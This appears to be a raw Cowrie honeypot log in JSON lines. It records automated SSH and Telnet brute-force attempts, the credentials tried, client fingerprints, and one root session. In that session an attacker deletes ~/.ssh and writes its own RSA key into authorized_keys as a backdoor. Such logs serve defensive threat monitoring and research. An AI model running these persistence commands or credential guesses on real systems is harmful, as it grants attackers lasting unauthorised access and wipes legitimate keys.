{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:45.188675Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:45.437313Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qaz12345678!","message":"login attempt [root/Qaz12345678!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:46.466242Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:47.000586Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:47.003496Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:47.007766Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:47.260997Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:47.799676Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:47.802896Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.203.210.78","src_port":62744,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c5385003ca9","protocol":"telnet","message":"New connection: 35.203.210.78:62744 (159.203.135.109:23) [session: 5c5385003ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:47.902820Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:48.056637Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:48.060669Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":33564,"dst_ip":"10.17.0.5","dst_port":22,"session":"afbdd83e175b","protocol":"ssh","message":"New connection: 27.111.32.174:33564 (10.17.0.5:22) [session: afbdd83e175b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:48.302479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:48.306867Z","src_ip":"27.111.32.174","session":"afbdd83e175b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:48.556133Z","src_ip":"27.111.32.174","session":"afbdd83e175b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:49.583580Z","src_ip":"27.111.32.174","session":"afbdd83e175b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:50.834428Z","src_ip":"27.111.32.174","session":"afbdd83e175b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":33570,"dst_ip":"10.17.0.5","dst_port":22,"session":"e00c7d537078","protocol":"ssh","message":"New connection: 27.111.32.174:33570 (10.17.0.5:22) [session: e00c7d537078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:51.085821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:51.090118Z","src_ip":"27.111.32.174","session":"e00c7d537078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:51.351074Z","src_ip":"27.111.32.174","session":"e00c7d537078","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:52.403597Z","src_ip":"27.111.32.174","session":"e00c7d537078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:52.660581Z","src_ip":"27.111.32.174","session":"336207bf48f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:52.720659Z","src_ip":"27.111.32.174","session":"e00c7d537078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.92849087715149,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:08:57.831216Z","src_ip":"35.203.210.78","session":"5c5385003ca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":53948,"dst_ip":"10.17.0.5","dst_port":22,"session":"b37950acba3e","protocol":"ssh","message":"New connection: 64.188.83.153:53948 (10.17.0.5:22) [session: b37950acba3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:09.771322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:09.775697Z","src_ip":"64.188.83.153","session":"b37950acba3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:09.861098Z","src_ip":"64.188.83.153","session":"b37950acba3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshtunnel","password":"sshtunnel1234","message":"login attempt [sshtunnel/sshtunnel1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:10.237584Z","src_ip":"64.188.83.153","session":"b37950acba3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:11.325968Z","src_ip":"64.188.83.153","session":"b37950acba3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":41580,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f0abf2da530","protocol":"ssh","message":"New connection: 147.50.103.212:41580 (10.17.0.5:22) [session: 6f0abf2da530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:33.471524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:33.476645Z","src_ip":"147.50.103.212","session":"6f0abf2da530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:33.738394Z","src_ip":"147.50.103.212","session":"6f0abf2da530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"webserver2025","message":"login attempt [webserver/webserver2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:34.811012Z","src_ip":"147.50.103.212","session":"6f0abf2da530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:36.074586Z","src_ip":"147.50.103.212","session":"6f0abf2da530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52052,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddbb216d94eb","protocol":"ssh","message":"New connection: 193.32.162.145:52052 (10.17.0.5:22) [session: ddbb216d94eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:54.038631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:54.042986Z","src_ip":"193.32.162.145","session":"ddbb216d94eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:54.147321Z","src_ip":"193.32.162.145","session":"ddbb216d94eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge","message":"login attempt [doge/doge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:54.467683Z","src_ip":"193.32.162.145","session":"ddbb216d94eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:55.575751Z","src_ip":"193.32.162.145","session":"ddbb216d94eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":44182,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f5235c6cd3a","protocol":"ssh","message":"New connection: 43.155.21.198:44182 (159.203.135.109:22) [session: 8f5235c6cd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:55.779094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:55.783101Z","src_ip":"43.155.21.198","session":"8f5235c6cd3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:55.989873Z","src_ip":"43.155.21.198","session":"8f5235c6cd3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"supportpass","message":"login attempt [support/supportpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:56.852385Z","src_ip":"43.155.21.198","session":"8f5235c6cd3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36180,"dst_ip":"10.17.0.5","dst_port":22,"session":"350f717e18d8","protocol":"ssh","message":"New connection: 2.57.122.208:36180 (10.17.0.5:22) [session: 350f717e18d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:57.371323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:57.477492Z","src_ip":"2.57.122.208","session":"350f717e18d8","protocol":"ssh"}
